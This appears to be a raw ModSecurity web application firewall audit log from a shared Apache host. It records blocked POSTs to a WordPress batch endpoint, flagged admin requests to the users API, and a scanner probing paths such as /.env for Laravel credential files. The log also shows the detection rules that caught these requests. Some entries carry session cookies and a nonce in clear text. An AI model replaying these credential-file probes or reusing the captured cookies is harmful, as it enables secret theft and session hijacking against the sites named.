Content-Type: text/html; charset=UTF-8

--3596ca3e-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293302090155 1532984 (- - -)
Stopwatch2: 1789293302090155 1532984; combined=11073, p1=479, p2=9704, p3=0, p4=0, p5=889, sr=175, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--3596ca3e-Z--

--a79bbe38-A--
[13/Sep/2026:12:55:06.472659 +0300] aqZy@mM7dE9KgIIOpQh2kgAAAMU 142.93.254.78 43022 127.0.0.1 7081
--a79bbe38-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 921
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--a79bbe38-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 52450d1d-6014-4f88-9362-df0bf11fe4f4
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a79bbe38-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293306329138 143575 (- - -)
Stopwatch2: 1789293306329138 143575; combined=5171, p1=352, p2=4524, p3=0, p4=0, p5=295, sr=111, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--a79bbe38-Z--

--af837556-A--
[13/Sep/2026:12:55:07.894920 +0300] aqZy@2M7dE9KgIIOpQh2kwAAANg 142.93.254.78 43026 127.0.0.1 7081
--af837556-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 470
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--af837556-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: af087d39-4594-42d3-8f11-188927b3edf6
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--af837556-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293307764851 130134 (- - -)
Stopwatch2: 1789293307764851 130134; combined=4163, p1=272, p2=3524, p3=0, p4=0, p5=367, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--af837556-Z--

--b4106214-A--
[13/Sep/2026:12:55:09.139179 +0300] aqZy-WM7dE9KgIIOpQh2lQAAAMs 142.93.254.78 43044 127.0.0.1 7081
--b4106214-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 660
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--b4106214-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 9dfae9d2-336f-4ff5-b892-8273c989e32d
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b4106214-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293309002658 136589 (- - -)
Stopwatch2: 1789293309002658 136589; combined=5107, p1=310, p2=4438, p3=0, p4=0, p5=359, sr=128, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--b4106214-Z--

--328af321-A--
[13/Sep/2026:12:55:10.590416 +0300] aqZy-mM7dE9KgIIOpQh2lgAAANQ 142.93.254.78 43046 127.0.0.1 7081
--328af321-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 707
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--328af321-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 8c45f685-2475-417a-9d49-c6f836597b5a
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--328af321-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293310462158 128321 (- - -)
Stopwatch2: 1789293310462158 128321; combined=4463, p1=250, p2=3797, p3=0, p4=0, p5=415, sr=99, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--328af321-Z--

--bcdca00a-A--
[13/Sep/2026:12:55:13.174999 +0300] aqZzAWM7dE9KgIIOpQh2mgAAAMY 142.93.254.78 43074 127.0.0.1 7081
--bcdca00a-B--
POST /?rest_route=/batch/v1 HTTP/1.1
Host: ihelp.ro
X-Real-IP: 142.93.254.78
X-Accel-Internal: /internal-nginx-static-location
Content-Length: 1408
Accept-Encoding: identity
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: application/json

--bcdca00a-F--
HTTP/1.1 403 Forbidden
X-Powered-By: PHP/8.1.34
X-DEBUGKIT-ID: 231297a0-a127-4a59-9fa5-9cc2d72b5349
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--bcdca00a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G:rest_route=/batch/v1& P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ihelp.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293313061385 113666 (- - -)
Stopwatch2: 1789293313061385 113666; combined=4443, p1=257, p2=3898, p3=0, p4=0, p5=287, sr=94, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "DETECTION_ONLY"

--bcdca00a-Z--

--b6d02b40-A--
[13/Sep/2026:12:58:54.091562 +0300] aqZz3SsVWymXUono-eRVUAAAAAc 62.74.18.173 34044 127.0.0.1 7081
--b6d02b40-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20663&action=edit
Accept-Encoding: gzip, deflate, br

--b6d02b40-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--b6d02b40-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293533458392 633553 (- - -)
Stopwatch2: 1789293533458392 633553; combined=7288, p1=392, p2=6510, p3=0, p4=0, p5=223, sr=349, sw=163, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--b6d02b40-Z--

--f4fa8145-A--
[13/Sep/2026:12:59:07.395084 +0300] aqZz6kwu1RSkptiiNIX5aAAAAJM 62.74.18.173 43466 127.0.0.1 7081
--f4fa8145-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20663&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br

--f4fa8145-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--f4fa8145-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293546856712 538454 (- - -)
Stopwatch2: 1789293546856712 538454; combined=5420, p1=289, p2=4855, p3=0, p4=0, p5=162, sr=191, sw=114, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--f4fa8145-Z--

--a6fde72c-A--
[13/Sep/2026:12:59:29.869487 +0300] aqZ0AWM7dE9KgIIOpQh27gAAAMg 62.74.18.173 60612 127.0.0.1 7081
--a6fde72c-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20666&action=edit
Accept-Encoding: gzip, deflate, br

--a6fde72c-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--a6fde72c-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293569300365 569295 (- - -)
Stopwatch2: 1789293569300365 569295; combined=5498, p1=348, p2=4762, p3=0, p4=0, p5=223, sr=232, sw=165, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--a6fde72c-Z--

--9ee2c600-A--
[13/Sep/2026:12:59:56.214987 +0300] aqZ0G2M7dE9KgIIOpQh29QAAAMQ 62.74.18.173 45070 127.0.0.1 7081
--9ee2c600-B--
GET /wp-json/wp/v2/users/me?context=edit&_locale=user HTTP/1.1
Host: chania24.taxi
X-Real-IP: 62.74.18.173
Cookie: wfwaf-authcookie-2730fdb7165a500052ab2f71fca8bd50=1%7Cadministrator%7Cmanage_options%2Cunfiltered_html%2Cedit_others_posts%2Cupload_files%2Cpublish_posts%2Cedit_posts%2Cread%7C95e83797b6d1deec172548405d603b4dcb19284f6c7e82470afb21c7440e58cd; tk_ai=woo%3A6U8Jr%2Fb8Fq7mZoDTPFbFvvz1; wordpress_logged_in_98ee36b231f2fb45b3e687cbf04c847e=chania24%7C1789402667%7C4w8eXEqMQIPhk44gn7Pn2ljeUtVJmqUXeKOU2uHuidO%7C0dc0cca43e29e31503849755bd897a4f9a8cdb4dac2a120a1f54b342d4f3e7de; wordpress_test_cookie=WP%20Cookie%20check; wp-settings-1=editor%3Dhtml%26libraryContent%3Dbrowse%26posts_list_mode%3Dlist%26mfold%3Do; wp-settings-time-1=1788098856
X-WP-Nonce: 06aa26bad0
Accept: application/json, */*;q=0.1
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 15_8_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6.8 Mobile/15E148 Safari/604.1
Accept-Language: el-GR,el;q=0.9
Referer: https://chania24.taxi/wp-admin/post.php?post=20666&action=edit&classic-editor
Accept-Encoding: gzip, deflate, br

--9ee2c600-F--
HTTP/1.1 200 OK
X-Powered-By: PHP/7.4.33
X-Robots-Tag: noindex
Link: <https://chania24.taxi/wp-json/>; rel="https://api.w.org/"
X-Content-Type-Options: nosniff
Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link
Access-Control-Allow-Headers: Authorization, X-WP-Nonce, Content-Disposition, Content-MD5, Content-Type
X-WP-Nonce: 06aa26bad0
Allow: GET, POST, PUT, PATCH, DELETE
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private
Transfer-Encoding: chunked
Content-Type: application/json; charset=UTF-8

--9ee2c600-H--
Message: String match "wp-json/wp/v2/users" at REQUEST_URI. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "80"] [id "77140942"] [msg "IM360 WAF: Block WordPress 5.3 User Enumeration attempts||T:APACHE||MV:/wp-json/wp/v2/users/me?context=edit&_locale=user||"] [severity "DEBUG"] [tag "service_i360custom"] [tag "wp_core"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/chania24.taxi/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789293595459275 755804 (- - -)
Stopwatch2: 1789293595459275 755804; combined=5472, p1=933, p2=4226, p3=0, p4=0, p5=182, sr=184, sw=131, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
WebApp-Info: "default" "98ee36b231f2fb45b3e687cbf04c847e" "-"
Engine-Mode: "ENABLED"

--9ee2c600-Z--

--44d11358-A--
[13/Sep/2026:13:01:40.749872 +0300] aqZ0hEwu1RSkptiiNIX5egAAAI0 45.138.12.13 58618 127.0.0.1 7081
--44d11358-B--
GET /.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--44d11358-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--44d11358-E--

--44d11358-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/.env"] [unique_id "aqZ0hEwu1RSkptiiNIX5egAAAI0"]
Stopwatch: 1789293700741927 8014 (- - -)
Stopwatch2: 1789293700741927 8014; combined=6302, p1=232, p2=5957, p3=56, p4=7, p5=50, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--44d11358-Z--

--79e50e14-A--
[13/Sep/2026:13:01:41.127389 +0300] aqZ0hTTJ6xTvcJoem7f7SgAAAEo 45.138.12.13 58714 127.0.0.1 7081
--79e50e14-B--
GET /new/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--79e50e14-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--79e50e14-E--

--79e50e14-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/new/.env"] [unique_id "aqZ0hTTJ6xTvcJoem7f7SgAAAEo"]
Stopwatch: 1789293701121385 6098 (- - -)
Stopwatch2: 1789293701121385 6098; combined=4732, p1=283, p2=4348, p3=55, p4=7, p5=38, sr=105, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--79e50e14-Z--

--e515260e-A--
[13/Sep/2026:13:01:41.148865 +0300] aqZ0hWM7dE9KgIIOpQh3HAAAAMQ 45.138.12.13 58664 127.0.0.1 7081
--e515260e-B--
GET /portal/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--e515260e-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--e515260e-E--

--e515260e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "happy-digital.ro"] [uri "/portal/.env"] [unique_id "aqZ0hWM7dE9KgIIOpQh3HAAAAMQ"]
Stopwatch: 1789293701143804 5128 (- - -)
Stopwatch2: 1789293701143804 5128; combined=3987, p1=203, p2=3686, p3=56, p4=6, p5=35, sr=87, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e515260e-Z--

--96a91063-A--
[13/Sep/2026:13:01:41.159761 +0300] aqZ0hWM7dE9KgIIOpQh3HgAAAMY 45.138.12.13 58672 127.0.0.1 7081
--96a91063-B--
GET /env/.env HTTP/1.1
Host: happy-digital.ro
X-Real-IP: 45.138.12.13
X-Accel-Internal: /internal-nginx-static-location
sec-ch-ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

--96a91063-F--
HTTP/1.1 404 Not Found
Content-Length: 196
Content-Type: text/html; charset=iso-8859-1

--96a91063-E--

--96a91063-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
